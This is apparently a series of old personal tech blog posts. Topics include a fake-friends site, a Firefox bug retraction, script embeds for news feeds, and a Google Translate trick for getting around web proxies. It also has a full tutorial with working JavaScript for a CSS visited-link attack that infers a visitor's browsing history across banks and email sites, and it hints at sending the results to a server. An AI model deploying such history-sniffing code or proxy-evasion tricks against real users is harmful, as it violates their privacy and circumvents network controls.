It turned out that they’re doing very well. According to New York Times, FakeYourSpace attracted 50,000 hits a day. Until they’re facing trouble with iStockPhoto, the source where it gets the photograph of the models for fake friends.

Kelly Thompson, iStockPhoto’s vice president for marketing, said its licensing agreement did not allow Web sites to post photos that might lead the average person to “think that the model endorses” the product, Web site or person in question.

FakeYourSpace have to shut down their service until later this week because of that.

Yeah, that’s what happend when you’re trying to fake something. Maybe, they have to consider to create fake photos service as well. A mashup from some photos, something like Yahoo! avatar with real faces.

;-p

For that reason, i couldn’t care less when some people try to fake their popularity on social networking sites to gain “reputation”. But this site is too much,

FakeYourSpace is an exciting new service that enables normal everyday people like me and you to have Hot friends on popular social networking sites such as MySpace and FaceBook. Not only will you be able to see these Gorgeous friends on your friends list, but FakeYourSpace enables you to create customized messages and comments for our Models to leave you on your comment wall. FakeYourSpace makes it easy for any regular person to make it seem like they have a Model for a friend. It doesn’t stop there however. Maybe you want to appear as if you have a Model for a lover. FakeYourSpace can make this happen!

I don’t know about you, but having “hot friends” on internet doesn’t do any good to my reputation. But to be able to hack reputation on social network sites surely some reputation to me.

What’s next? Sites that offer services to clarify reputation? or new algorithm for detecting fake friends on social network?

After my blogs suddenly dissapeared from technorati, i found new way to promote this nice blogs of mine using Google Blog Search. Horeey.

Today, Google official blogs announced about Google Blog Search Pinging Service. After about 15 minutes studying its API, i finally sat down and write it out using PHP.

So here you go, i used my old NuSoap to send xml-rpc to Google blog search. Try it out yourself.

You can also see the source here.

By the way, can anyone tell me what in Google earth is wrong with my technorati?????

The main purpose of our talk was to be humorous.

As part of our talk we mentioned that there was a previously known Firefox vulnerability that could result in a stack overflow ending up in remote code execution. However, the code we presented did not in fact do this, and I personally have not gotten it to result in code execution, nor do I know of anyone who has.

I have not succeeded in making this code do anything more than cause a crash and eat up system resources, and I certainly haven’t used it to take over anyone else’s computer and execute arbitrary code.

I do not have 30 undisclosed Firefox vulnerabilities, nor did I ever make this claim. I have no undisclosed Firefox vulnerabilities. The person who was speaking with me made this claim, and I honestly have no idea if he has them or not.

I apologize to everyone involved, and I hope I have made everything as clear as possible.

Well, i think he made Firefox developer teams nuts chasing the imaginary bugs. That’s the good thing, it shows us that Firefox wouldn’t let any bugger boys strike their asses.

Go go firefox.

Tags: Joke

Thanks to Google Maps for showing me this.

Well, that behaviour will be an advantage for people who wants to steal your browser history. Yeah, you got that, by detecting link color. I will show you how to do that in Mozilla Firefox. This short of hack is taken from Jeremiah Grossman blog with some changes i made.

First, we need to mark visited link with our own distinct color, for that we’ll use CSS,

<style type="text/css">
  a:visited { color: rgb(0,255,255) };
</style>

Now, any visited link will be marked in white.

Next, since this hack only works for mozila firefox, we need to detect user’s browser using this simple javascript,

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

Create an array of popular websites that your visitor might have been visited as shown below. You can add more to the list if you like.

var websites = [
   "http://www.ngoprekweb.com/",
   "http://digg.com/",
   "http://login.yahoo.com/",
   "http://mail.google.com/",
   "http://mail.yahoo.com/",
   "http://reddit.com/",
   "http://www.amazon.com/",
   "http://www.blogger.com/",
   "http://www.bloglines.com/",
   "http://www.google.com/",
   "http://www.microsoft.com/",
];

Finally, loop through our website list above and create a fake anchor element to detect whether it has color that match our visited link color before, then print it out if they match.

   for (var i = 0; i < websites.length; i++) {
      var link = document.createElement("a");
      link.id = "id" + i;
      link.href = websites[i];
      link.innerHTML = websites[i];
      document.body.appendChild(link);
      var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
      document.body.removeChild(link);       

      // check for visited
      if (color == "rgb(255, 255, 255)") {
        document.write('' + websites[i] + '<br />');
      }
   }

That’s it. Now you can show your user where he/she has been. Usually you also need to prevent multiple XSS loads. And with additional AJAX you can also send this information back to your server. Ooops.

You can try this out by clicking here. Don’t worry, i won’t save any of your browser history.

Now, this is my complete source,

<html>
  <head>
    <title>Steal History</title>
    <style type="text/css">
      a:visited { color: rgb(255,255,255) };
    </style>
  </head>
  <body>

  <script language="javascript">
    var agent = navigator.userAgent.toLowerCase();
    var is_mozilla = (agent.indexOf("mozilla") != -1);

    // popular websites. Lookup if user has visited any.
    var websites = [
       "http://www.ngoprekweb.com/",
       "http://ajaxian.com/",
       "http://digg.com/",
       "http://english.aljazeera.net/HomePage",
       "http://ha.ckers.org",
       "http://ha.ckers.org/blog/",
       "http://jeremiahgrossman.blogspot.com/",
       "http://login.yahoo.com/",
       "http://mail.google.com/",
       "http://mail.yahoo.com/",
       "http://my.yahoo.com/",
       "http://reddit.com/",
       "http://seoblackhat.com",
       "http://slashdot.org/",
       "http://techfoolery.com/",
       "http://weblogs.asp.net/jezell/",
       "http://www.amazon.com/",
       "http://www.aol.com/",
       "http://www.bankofamerica.com/",
       "http://www.bankone.com/",
       "http://www.blackhat.com/",
       "http://www.blogger.com/",
       "http://www.bloglines.com/",
       "http://www.bofa.com/",
       "http://www.capitalone.com/",
       "http://www.cenzic.com",
       "http://www.cgisecurity.com",
       "http://www.chase.com/",
       "http://www.citibank.com/",
       "http://www.cnn.com/",
       "http://www.comerica.com/",
       "http://www.e-gold.com/",
       "http://www.ebay.com/",
       "http://www.etrade.com/",
       "http://www.expedia.com/",
       "http://www.google.com/",
       "http://www.hsbc.com/",
       "http://www.icq.com/",
       "http://www.jailbabes.com",
       "http://www.microsoft.com/",
       "http://www.msn.com/",
       "http://www.myspace.com/",
       "http://www.ntobjectives.com",
       "http://www.passport.net/",
       "http://www.paypal.com/",
       "http://www.sourceforge.net/",
       "http://www.spidynamics.com",
       "http://www.statefarm.com/",
       "http://www.usbank.com/",
       "http://www.wachovia.com/",
       "http://www.wamu.com/",
       "http://www.watchfire.com",
       "http://www.webappsec.org",
       "http://www.wellsfargo.com/",
       "http://www.whitehatsec.com",
       "http://www.xanga.com/",
       "http://www.yahoo.com/",
       "http://seoblackhat.com/",
       "http://www.alexa.com/",
       "http://www.youtube.com/",
       "https://banking.wellsfargo.com/",
       "https://commerce.blackhat.com/",
       "https://online.wellsfargo.com/",
    ];

    /* prevent multiple XSS loads */
    if (! document.getElementById('xss_flag')) {
       var d = document.createElement('div');
       d.id = 'xss_flag';
       document.body.appendChild(d);

       var d = document.createElement('table');
       d.border = 0;
       d.cellpadding = 5;
       d.cellspacing = 10;
       d.width = '90%';
       d.align = 'center';
       d.id = 'data';
       document.body.appendChild(d);

       document.write('');

       /* launch steal history */
       if (is_mozilla) {
        stealHistory();
       }
    }

    function stealHistory() {
       // loop through websites and check which ones have been visited
       for (var i = 0; i < websites.length; i++) {
        var link = document.createElement("a");
        link.id = "id" + i;
        link.href = websites[i];
        link.innerHTML = websites[i];
        document.body.appendChild(link);
        var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
        document.body.removeChild(link);       

        // check for visited
        if (color == "rgb(255, 255, 255)") {
          document.write('' + websites[i] + '<br />');
        } // end visited check

       } // end visited website loop

    } // end stealHistory method

    </script>

  </body>
</html>

For example, if you want to access http://cleanpick.blogspot.com, and your proxy doesn’t allow you to do it (daah…), just use this url:

http://translate.google.com/translate?u=http://cleanpick.blogspot.com&langpair=en|en

See, your proxy would assume you’re accessing google.

Ok, another example here, if you want to access yahoo.com, just try this out:

http://translate.google.com/translate?u=http://www.yahoo.com&langpair=en|en

Have a nice try.

Link from Khilafah.com

If you want to add link from khilafah.com, all you need to do is copy the following code into your own blogs,

For KCom News:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=news&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=news&limit=10"     type="text/javascript"></script>

For KCom Journal:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=journal&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=journal&limit=10"     type="text/javascript"></script>

For KCom Magazine:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=magazine&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=kcom&cat=magazine&limit=10"     type="text/javascript"></script>

Link from Hizbut-tahrir.or.id

If you want to add link from Hizbut-tahrir.or.id, all you need to do is copy the following code into your own blogs,

For Buletin Dakwah Al Islam:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=alislam&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=alislam&limit=10"     type="text/javascript"></script>

For Majalah Al Waie:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=alwaie&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=alwaie&limit=10"     type="text/javascript"></script>

For Hizbut Tahrir Indonesia Headline:

<link xhref="http://cleanpick.ngoprek.web.id/js/pick.css" mce_href="http://cleanpick.ngoprek.web.id/js/pick.css"     type="text/css" rel="stylesheet">
<script xsrc="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=headline&limit=10" mce_src="http://cleanpick.ngoprek.web.id/js/pick.js?site=hti&cat=headline&limit=10"     type="text/javascript"></script>

Well, that might sound hard to do. But not really. At least not for her. So this blog goes to anappaday.com.

Don’t worry, you haven’t miss anything. By the time i write this, she is in 10th day of 30 working days she planned. You can also chat with her while she’s working on an app.